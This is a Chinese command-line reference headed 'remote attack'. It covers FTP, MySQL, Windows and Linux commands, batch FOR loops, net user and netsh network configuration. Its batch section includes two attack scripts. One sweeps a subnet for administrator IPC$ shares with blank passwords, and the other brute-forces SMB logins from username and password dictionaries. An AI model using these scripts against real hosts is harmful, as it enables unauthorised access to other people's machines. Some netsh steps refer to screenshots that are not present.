远程攻击

文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote－dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip



MYSQL 命令：

mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。

（例：mysql -h110.110.110.110 -Uroot -P123456

注:u与root可以不用加空格，其它也一样）

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）

show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。

use mysql；

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名；

create table 表名 (字段设定列表)； 建表

drop database 库名;

drop table 表名； 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump  --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。  

win2003系统下新增命令（实用部份）：

shutdown /参数 关闭或重启本地或远程主机。

参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。

例：shutdown /r /t 0 立即重启本地主机（无延时）

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。



Linux系统下基本命令： 要区分大小写

uname 显示版本信息（同win2K的 ver）

dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）

pwd 查询当前所在的目录位置

cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。

cat 文件名 查看文件内容

cat >abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件，rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录，目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。

ftp ftp连接上某服务器（同win2K）



附：批处理命令与变量



1：for命令及变量 基本格式：

FOR  /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。

批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net  use $">\\ ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3



(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1  1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}



command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开

command_parameters：为特定命令指定参数或命令行开关



IN (set)：指在(set)中取值；DO command ：指执行command



参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。

用法举例：

@echo off

echo 用法格式：test.bat *.*.* > test.txt



for  /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt

存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。



/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的  %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。

@echo off

echo 用法格式：ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。



     Net命令的另类用法



      Net  User命令是一个DOS命令，必须在Windows XP下的MS-DOS模式下运行，所以首先要进入MS-DOS模式：选择“开始”菜单的“附件”选项的子选项“命令提示符”，或在“开始”菜单的“运行”选项（快捷键为Win+R）中输入“cmd.exe”，进入MS-DOS模式。以下功能都基于此模式下。



      建立一个普通新用户在MS-DOS提示符中输入如下命令：“net user john 123 /add”，回车。即可新建一个名为“John”，密码为“123”的新用户。Add参数表示新建用户。



      值得注意的是：用户名最多可有 20 个字符，密码最多可有 127 个字符。



      建立一个登录时间受限制的用户用以下方法可实现对电脑使用时间的控制。比如，需要建立一个John的用户账号，密码为“123”，登录权限从星期一到星期五的早上八点到晚上十点和双休日的晚上七点到晚上九点。



      1. 12小时制可键入如下命令：“net user john 123 /add /times：monday-friday，8AM-10PM；saturday-sunday，7PM-9PM”，回车确定即可。



      2. 24小时制可键入如下命令：“net user john 123 /add /times：M-F，8：00-22：00；Sa-Su，19：00-21：00”，回车确定即可。



       值得注意的是：Time的增加值限制为1小时。对于Day值，可以用全称或缩写（即   M、T、W、Th、F、Sa、Su）。可以使用12小时或24小时时间表示法。对于12小时表示法，请使用AM、PM或A.M.、P.M.。All值表示用户始终可以登录；空值（空白）意味着用户永远不能登录。用逗号分隔日期和时间，用分号分隔日期和时间单元（例如，M，4AM-5PM；T，1PM-3PM）。指定时间时不要使用空格。



        另外，Passwordchg：{yesno}参数可用来指定用户是否可以更改自己的密码，默认设置为  Yes.限定用户的使用时间Net User命令还可以使用参数Expires：{{mm/dd/yyyy dd/mm/yyyy mmm，dd ，yyyy} never} 使用户账号根据指定的Date过期限定用户。过期日期可以是 [mm/dd/yyyy]、[dd/mm/yyyy] 或[mmm，dd，yyyy]格式。它取决于国家（地区）代码。用户账号在指定日期开始时到期。对于月份值，可以使用数字、全称或三个字母的缩写（即Jan、Feb、Mar、Apr、May、Jun、Jul、Aug、Sep、Oct、Nov、Dec）。对于年份值，可以使用两位数或四位数；使用逗号和斜杠分隔日期的各部分；不要使用空格。



     Netsh的使用(组图)



　　有朋友问我，“能不能在命令行下直接修改Windows2000的IP地址？”。

　　

　　当然是可以的了。不仅可以修改IP地址，和网络相关的每个细节都可以用命令行方式进行配置。

　　

　　只不过一般大家不太习惯罢了。

　　

　　方法就是使用系统中提供的一个命令行工具“netsh”：

　　

　　首先，察看自己现在的ip地址：

　　　





　　列出了两块网卡，其中接口名为“本地连接”的这块网卡配置情况：

　　

　　使用了固定IP，其中ip地址为192.168.0.4，其他信息略（自己不会看啊）

　　

　　好了，我们来修改这个IP

　　

　　改成什么呢，稍微改一点点吧：　



        现在ip就是192.168.0.5了。

　　

　　其实刚才改IP的时候并没有把命令写完整，完整的看这个：　





　　一堆命令吧，现在的IP地址已经修改成10.0.0.13了。

　　

　　当然，命令行下修改IP也可以只用1条命令　





　　到这里，netsh的最最最简单的功能，命令行下修改IP地址      已经说完了

　　

　　看到一个朋友是做网管的，管理着公司几个不同的网络，每次都要抱着笔记本修改成不同的ip地址、不同的子网掩码、、、其实，只要能够充分的发挥Netsh脚本的功能，就可以最快捷的修改自身的网络配置。

　　　　

　　首先，显示一个配置脚本　



　　我们进入Netsh环境，切换到interface ip环境

　　

　　通过dump命令将当前配置情况显示了出来。

　　

　　第二步，导出一个配置脚本　



　　这样，我们就把刚才显示的配置脚本保存成了一个文件c:\interface.txt

　　

　　第三步，复制一个脚本拷贝interface2.txt并修改它

　　

　　原因？简单嘛，为了更方便的切换网络环境啊　





　　注意哦，我们已经把所需要修改的ip地址、子网掩码、网关和dns做了修改。

　　

　　最后，再把新的配置文件直接导入系统。　



　　到这里，已经把网络配置部分修改了







　　总结：

　　

　　通过Netsh里面的dump命令可以直接显示配置脚本。

　　

　　而通过netsh -c interface ip dump >c:\interface.txt的方式可以导出配置脚本。

　　

　　然后再netsh -f c:\interface.txt的方式又可以把导出的配置脚本再导回去。

　　

　　一来一去间，就可以轻松的实现方便的修改网络配置。

　　

　　Netsh里面还有很多很多命令，诸如可以进入netsh环境后，在根级目录用exec命令

　　

　　也可以加载一个配置脚本。

　　

　　另外还有对wins、路由、ras等网络服务的配置也可以通过Netsh的内置命令直接操作。

　　

　　Windows的帮助里面都有相关的介绍。
    版权  卌